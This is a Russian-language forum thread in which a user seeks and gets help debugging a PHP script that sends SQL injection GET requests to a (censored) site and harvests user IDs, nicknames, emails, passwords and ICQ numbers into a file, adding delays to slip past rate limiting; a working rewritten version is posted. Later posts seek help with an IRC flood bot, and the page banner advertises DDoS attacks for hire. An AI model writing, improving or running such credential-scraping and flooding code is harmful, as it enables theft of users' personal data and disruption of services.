Перейти к содержимому

 Друзья: Всё для вебмастера | [ Реклама на форуме ]


Rutor
Rutor


[ DDos Услуги. DDos атака. Заказать ДДос ]


Вопросики по PHP


  • Авторизуйтесь для ответа в теме
Сообщений в теме: 14

#1
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Значит, написал прогу, которая отправляет GET запрос с sql-inj на серв, выдирает пользовательские данные и записывает в файлик. Всё отлично! Все работает! Но...одно но! В базе пользователей дохрена(около 4к) Поэтому пытался сделать цикл for(бла-бла-бла) чтобы выцепить инфу всех, но вот хренотень случилась =) Не работает программа с циклом, выдирает лишь данные первого пользователся(тот который в for($i=1;$i<4000;$i++))...один раз вылетала ошибка пхп: мол "тваюмать, и че-то там с временем в 30 сек...". Потом прекратила, но лучше не стало.

ЗЫ ПоможИте чем можИте! =)

#2
chetman

chetman

    Бит

  • Members
  • 9 сообщений
AFoST Покажи полностью исходник скрипта.
Или стукни сюда 229933332. помогу

#3
$iD

$iD

    Админ

  • root
  • PipPipPipPipPipPip
  • 3785 сообщений
AFoST
Код в студию...

#4
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Не судите строго, это мой первый опыт =) Короче, работает абсолютно всё, за исключением цикла... :)
PS "break;" в моём случае завершает While или нет?
<?
//open socket
$fp = fsockopen("[censored]", 80, $errno, $errstr, 30);
//open file for received information
$fout=fopen("1.html","a+");

//hostname
$host="[censored]";
//browser info бред
$useragent="User-Agent: IE/89 (MAC 22 OS; U; MAC NT 1; ru; rv:2.55.1.22)";

for ($i=630;$i<650;$i++){
	//adress sql-inj
	$addr="[censored]";

	//request str
	$request=
	"GET $addr HTTP/1.0\r\n".
	"Host: $host\r\n".
	"Connection: Close\r\n\r\n";
	
	fputs($fp, $request);//put request into socket
	
	while ($out = fgets ($fp, 2048)) { //while data is receiving from socket do...

		if(preg_match("/^.*info.*info.*$/",$out,$out,PREG_OFFSET_CAPTURE)){ //if preg_match=true do...
	
			list($cut1, $uid, $unick, $uemail, $upass, $uicq, $cut2)=explode("###",$out[0][0]);//write userinfo in variables	
			$received= "ID:$uid UserNick:$unick Email:$uemail Password:$upass ICQ:$uicq <br>";//put userinfo on file
			fputs($fout,$received);//put info into file
//			break;//break "while"
			}
		
		
	}
}
fclose($fp);//close socket
fclose($fout);//close output file
?>


#5
chetman

chetman

    Бит

  • Members
  • 9 сообщений
теперь всё понятно.
в строке $received= "ID:$uid UserNick:$unick Email:$uemail Password:$upass ICQ:$uicq <br>"

<br> замени на \n должно покатить.

Цитата

Не работает программа с циклом, выдирает лишь данные первого
конечно у тебя всё заносит в одну строку.

#6
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
chetman, не понял...Что заносит в одну строку!? $addr? Проверил, всё работает как надо...Может проблема в том, что надо отправить GET-запрос с параметром Keep Alive?

#7
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Подскажите лучше в пхп аналог javascript"ового setTimeOut("js-code",time/ms); Уверен на 99% что в пхп такое есть! Думаю с таймером получится =)

#8
chetman

chetman

    Бит

  • Members
  • 9 сообщений
AFoST
Ты файл в браузере открывал или блокнотом?

Понимаешь функция fgets(fread) считает  символ \n концом строки.
А <br> это тег который показывает что показать в браузере конец что надо перевестись на новую строку.

Почитай лучше книги про пхп и всё станет ясно.

Цитата

Подскажите лучше в пхп аналог javascript"ового setTimeOut("js-code",time/ms); Уверен на 99% что в пхп такое есть! Думаю с таймером получится =)

Если я не ошибаюсь, то нету. Ява работает на стороне клиента. А пхп на стороне сервера.

#9
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
chetman, не в этом смысле...Блин, я знаю, что ява-скрипт выполняется на клиенте, а пхп на сервере...Не в этом суть. Надо чтобы был цикл, чтобы прошла первая итерация, потом некоторая пауза(допустим 2 секунды), потом вторая итерация и тд...Чтобы GET запросы шли на сервер с некоторой паузой.
А вот с fgets спасибо!!! Но, лучше не стало :) написал теперь так:
$received= "<b> ID:</b>$uid ".
"<b> UserNick:</b>$unick ".
"<b> Email:</b>$uemail ".
"<b> Password:</b>$upass ".
"<b> ICQ:</b>$uicq ".
"<br>\n";
И всё по-старому :(

И все же, мне кажется, на сервере стоит то ли антифлуд, то ли ещё что-нибудь, что фильтрует(блокирует) большое количество попыток соединения в короткий промежуток времени, поэтому и хочу попробовать отправку запросов с таймером...

#10
chetman

chetman

    Бит

  • Members
  • 9 сообщений

Цитата

Надо чтобы был цикл, чтобы прошла первая итерация, потом некоторая пауза(допустим 2 секунды), потом вторая итерация и тд...Чтобы GET запросы шли на сервер с некоторой паузой.

ну тогда sleep(указываешь сколько секунд) или usleep(то же самое только в микросекундах)

#11
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Вот чёрт! sleep() не помог =( ... Проанализировал, всё, что написал ещё раз, понял где ошибка. Проблема с сокетами. При первой итерации запись/считывание из сокета происходит без проблем, а вот при второй и далее не могу ничего из него прочитать! Как решить проблему, так и не пойму... Возможно при каждом новом запросе нужно создавать новый сокет?! Какие есть варианты решения!?

#12
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Подправил код...А точнее все нафиг переписал заново. Теперь работает =)

Цитата

<?php
//уведомления об ошибках
//____________________
error_reporting(E_ALL);

//инициализуем переменные
//____________________
$port = 80;
$host = "some_host";
$fout=fopen("somefile.html","a+");



//цикл
//____________________
for ($i=1;$i<50;$i++){
//Change $addr
//____________________
$addr="some get-запрос".$i."/*";

//create socket
//____________________
if(!$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP))
echo "ERROR!!! Socket not created!!! Reason: ".socket_strerror($socket)."\r\n";
    else
     echo "\r\n\r\nSocket created.\r\n";

//Trying to connect...
//____________________
echo "Trying to connect to ".$host." in a port: ".$port."\r\n";
if(!$result=socket_connect($socket,$host,$port))
echo "ERROR!!! Socket not connected!!! Reason: ".socket_strerror($socket)."\r\n";
    else
     echo "Socket connected...\r\n";


echo "\r\n\r\n ITERATION: ".$i."\r\n\r\n";

$request=
"GET ".$addr." HTTP/1.0\r\n".
    "UserAgent: none\r\n".
    "Referer: none\r\n".
"Host: ".$host."\r\n".
    "Keep-Alive: timeout:14\r\nn".
"Connection: Keep-Alive\r\n\r\n";

    echo $request."\n\r\n\r\n\r\n\r\n";
//sending request
//____________________
socket_write($socket, $request, strlen($request));

//Receiving data...
//____________________
while($rec=socket_read($socket,2048)) {
echo $rec;
     if(preg_match("/.*info.*info.*/",$rec,$out,PREG_OFFSET_CAPTURE)){ //if preg_match=true do...

     list($cut1, $uid, $unick, $uemail, $upass, $uicq, $cut2)=explode("###",$out[0][0]);//write userinfo in variables
        $received= "<b> ID:</b>$uid ". //
"<b> UserNick:</b>$unick ". //
"<b> Email:</b>$uemail ".       //Formating received data
"<b> Password:</b>$upass ". //
"<b> ICQ:</b>$uicq ".      //
"<br>\r\n";                   //

         echo $received;
       fputs($fout,$received);//put info into file
         break;
         }//if

}//while
sleep(120);
}//for

//closing socket...
//____________________
socket_close($socket);
//closing $fout file
fclose($fout);

?>


#13
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
Такой вопрос. Пишу флудер для ирц на пхп. Есть такая конструкция:

Цитата

while ($body=socket_read($socket,1024)){

                 #start flooding
                 if (preg_match("/[^.]!flood/",$body,$matches)){
$flooding=true;
}

#stop flooding
if (preg_match("/[^.]!stopflood/",$body,$matches)){
$flooding=false;
}

if ($flooding){
flood($socket,$channel);
}

}
Как сделать, чтобы бот флудил и одновременно читал поступающую информацию из сокета!? Т.е. чтобы его можно было заткнуть.

#14
FreeCat

FreeCat

    Invisible Admin

  • root
  • PipPipPipPipPip
  • 1236 сообщений
AFoST
А разные порты открыть)?

#15
AFoST

AFoST

    тапочег с вишней

  • Moderator
  • PipPip
  • 256 сообщений
FreeCat Точно! Даже не подумал об этом...Спасибо!


Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных